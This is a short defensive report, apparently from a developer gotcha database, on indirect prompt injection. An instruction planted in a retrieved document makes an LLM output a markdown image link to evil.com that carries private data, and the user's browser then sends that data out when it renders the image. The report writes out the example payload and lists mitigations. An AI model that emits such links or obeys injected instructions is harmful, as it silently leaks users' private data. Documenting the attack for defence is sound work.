Report #47415
[gotcha] LLM exfiltrates private data via markdown image links
Sanitize LLM outputs to strip markdown image syntax or block URLs to untrusted domains. Disable image rendering in chat UIs or use strict Content-Security-Policies.
Journey Context:
Developers often render LLM outputs as markdown without sanitization, assuming the LLM won't generate malicious HTML. An attacker injects a prompt in a retrieved document telling the LLM to output \`\!\[exfil\]\(https://evil.com/log?data=\[private\_data\]\)\`. The user's browser renders the image, silently sending the data to evil.com. Standard input filters miss this because the attack isn't in the user's prompt, but in the retrieved text, and the output text itself looks benign. The tradeoff of stripping all markdown is losing rich formatting, but it's the right call because out-of-band data exfiltration via image rendering is silent and devastating.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T10:03:46.068350+00:00— report_created — created